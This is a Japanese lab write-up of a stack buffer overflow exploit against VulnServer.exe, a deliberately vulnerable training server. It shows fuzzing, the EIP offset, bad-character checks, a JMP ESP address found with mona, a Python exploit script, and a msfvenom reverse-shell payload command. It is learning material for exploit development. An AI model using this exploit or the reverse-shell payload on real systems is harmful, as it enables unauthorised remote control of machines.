「Lab 内で、VulnServer(実行ファイルは VulnServer.exe)が起動している Windows マシンを攻撃し、バックドアを仕込んでください」 という問題を解いている。CTF の問題ではない。初学者向けの学習用につくられた教材を使っている。このため、VulnServer は、あえて、OS のセキュリティ機構を使っていない。高度な技術を知らなくても、バッファオーバフローの脆弱性を利用して、古典的な方法(リターンアドレスの書きかえ + JMP ESP)を用い、プログラムの制御を奪う方法を理解できるようになっている*1。
このような、易しいはずの問題なのだが、現状、うまくいっていない。とりあえず、できたところまでをメモしておく。
なお、VulnServer.exe という、よくわからないサービスを提供するだろう実行ファイルは、手元にあるという想定。
まずは、VulnServer.exe が、どんなプログラムなのか知りたい。手元の Windows 7 の環境で実行し、netstat で見てみると、TCP ポート 5555 をバインドし、サーバプロセスとして動作している。とりあえず、Linux(Kali Linux を使った)から、Netcat で接続してみる。
nc -nv xx.xx.xx.xx 5555 (UNKNOWN) [xx.xx.xx.xx] 5555 (?) open >Hello There.
OK。プロンプトが返ってくる。
この後、プロンプトで、適当にコマンドを打ってみるものの、エラーばかりが返ってきて、いっこうに先に進まず。BinText で、文字列を抽出してみるも、どれがコマンドかについて、判断できず。
仕方がないので、いきなり IDA Pro を使った。さすがは IDA。コマンドを打った時の分岐を、キレイに描画してくれた。とりあえず、LOGIN/FILE/EXIT のコマンドを使って、ファイルのやり取りをするようなプログラムに見える。strcpy を使いまくっているので、この部分が、バッファオーバフローに脆弱なのだろう。
ここから、EIP を制御できる(好きな値を格納できる)ようになるまでを、なんとなく絵にしてみた。
とりあえず、EXIT コマンドで、コネクションを切断できることがわかったので、様々なサイズの値を投入してみる。クラッシュ時の様子を見たいので、まずは、VulnServer.exe を起動して、デバッガ(今回は、Immunity Debugger を使った)をアタッチする。アタッチ直後はポーズするので、実行ボタンを押下して動作させておく。
その上で、お約束通り(?)、文字 "A"(0x41)の数を、少しずつ増やして送り込む。LOGIN コマンドの引数のユーザ名と、FILE コマンドの引数のファイル名があやしいので、さっそく試してみた。いずれも、7,000 〜 8,000 バイト程度でクラッシュするのだが、EIP の値に変化はない。いきなりハマる。えいやで、存在しないコマンド(例えば、"XXXX")を試してみると、1,300 バイトあたりでクラッシュし、EIP の値も、"A"(0x41)で埋まっていた。これだ。
EIP の値を、ほぼほぼ制御できることがわかった。これで終わってもよいのだが、演習なので、ちゃんと最後までやりきる。
さて、こうなると、次は、入力のうち、どの部分が、EIP に格納されるのかについて知りたい。そこで、一定のパターンを持ったの文字列を生成する。便利なツールがいくつかあるので、その 1 つを利用する。次のコマンドで、1300 バイトのパターンを生成する。
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1300
このパターンの文字列を送りこんだところ、EIP には、"37694236" という値が入った。今度は、この "37694236" が、生成したパターンの、どこに含まれているのか知りたい。こちらも便利なツールがあるので、それを使う。
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1300 -q 37694236 [*] Exact match at offset 1040
これで、入力のうち、1040 バイト目から 4 バイトが、EIP の値として格納されるとわかった。とすると、コマンド XXXX の引数として、次の文字列を送りこんでやれば、EIP にピンポイントで "BBBB" が格納されることになる。
"A"*1040 + "B"*4 + "C"*(1300 - 1040 - 4)
この文字列を投入したところ、予想通り、EIP だけが "BBBB"("42424242")になった。そして、ESP の指す先が、"CCCC …" になった。
大成功。これで、ほぼほぼ準備は整った。
一応、コマンドの実行の際に、使うことができない文字がないか探してみる。これまでの "C"*(1300 - 1040 - 4) にかえて、次のような文字列を試してみる。
badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" … "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
デバッガの、ESP の値を右クリックして、そのアドレスから先のデータを、デバッガにダンプしてみる。すると、上記の全ての値が、キレイに出力されていた。ということで、"0x00" 以外の文字は、問題なさそう("0x0A", "0x0D" も平気っぽい)。
もう一息。
あとは、クラッシュ時の EIP のアドレスを、ESP のアドレスに指定できればよい。こうなれば、ESP の指す先("CCCC …" の箇所)に、シェルコードを配置しておくことで、このシェルコードを実行することができる。
しかし、ESP のアドレスは、プログラムを起動するたびに異なる値となる。これでは、エクスプロイトが安定しない。そこで、再起動しても固定となるアドレスを探す必要がある。
これには、mona.py を用いた。Immunity Debugger の下にあるプロンプトに、!mona modules と入力して実行する。すると、次のような画面が出力される。
VulnServer.exe は、rebase、safeSEH、ASLR、NXCompat の項目が、いずれも False になっている。OS のセキュリティ機構が、機能していないことがわかる。プログラムがバッファオーバフローに弱くなるよう、わざわざ、コンパイルオプションを指定したのだろう。細かいことは、よくわからないが、rebase と ASLR が False なので、この exe ファイルは、リブートしても、同じアドレスに読み込まれるのだと思う。残りの 2 つは、よくわからない*2。
いよいよ、上記 『クラッシュ時の EIP のアドレスを、ESP のアドレスに指定できればよい』 の実現へ。お約束の JMP ESP を探す。
デバッガにおいて、「JMP ESP」、「CALL ESP」、「PUSH ESP、からの RTRN」などの命令を検索するも、ヒットしない。これは、日常茶飯事のようなので、バイナリで検索をかける。ニーモニックをバイナリの 16 進数表示に変換してくれる便利なツールがあるので、それを使う。
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm > jmp esp 00000000 FFE4 jmp esp
これで、JMP ESP は、FFE4 だとわかる。
このプログラム VulnServer.exe は、DLL はなく exe のみなので、あとは JMP ESP が含まれていることを祈るだけ(mona お願い、見つけて)。
!mona find -s "\xff\xe4" -m VulnServer.exe
と、アドレス 65D11D71 に、1 件だけひっかかった。ぎりぎりセーフ。これで、完全に準備完了。次のスクリプトを流してみる。
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = "A" * 1040 + "\x71\x1d\xd1\x65" + "C" * (1300 - 1040 - 4) try: print "\nSending evil buffer..." s.connect(('xx.xx.xx.xx',5555)) data = s.recv(1024) s.send('XXXX ' + buffer + '\r\n') print "\nDone!." except: print "Could not connect to VulnServer!"
デバッガ上では、こんな感じ↓になった。もう満足。
最後に、ツールを使って、シェルコードを作成する。ここは、おもいっきりサボる。"CCCC …" のかわりに、出力されたシェルコードを埋めこめば、完成。
msfvenom -p windows/shell_reverse_tcp LHOST=xx.xx.xx.xx -f c -e x86/shikata_ga_nai -b "\x00"
というはずだったのだが。どこかのタイミングで、EIP に "65D11D71" を入れることができなくなってしまった。"BBBB" の箇所に "65D11D71" を入れると、なぜか、"CCCC …" の後ろのアドレスが、EIP に設定されてしまうようになった。
"65D11D72" 以上の値だと、うまくいく。また、"65D11D6x" 以下の値でも、うまくいく。
OS の再起動なども行ってみたが、状況は変わらず。一体、何が問題なのかわからず、行き詰ってしまった。。
後日、再挑戦。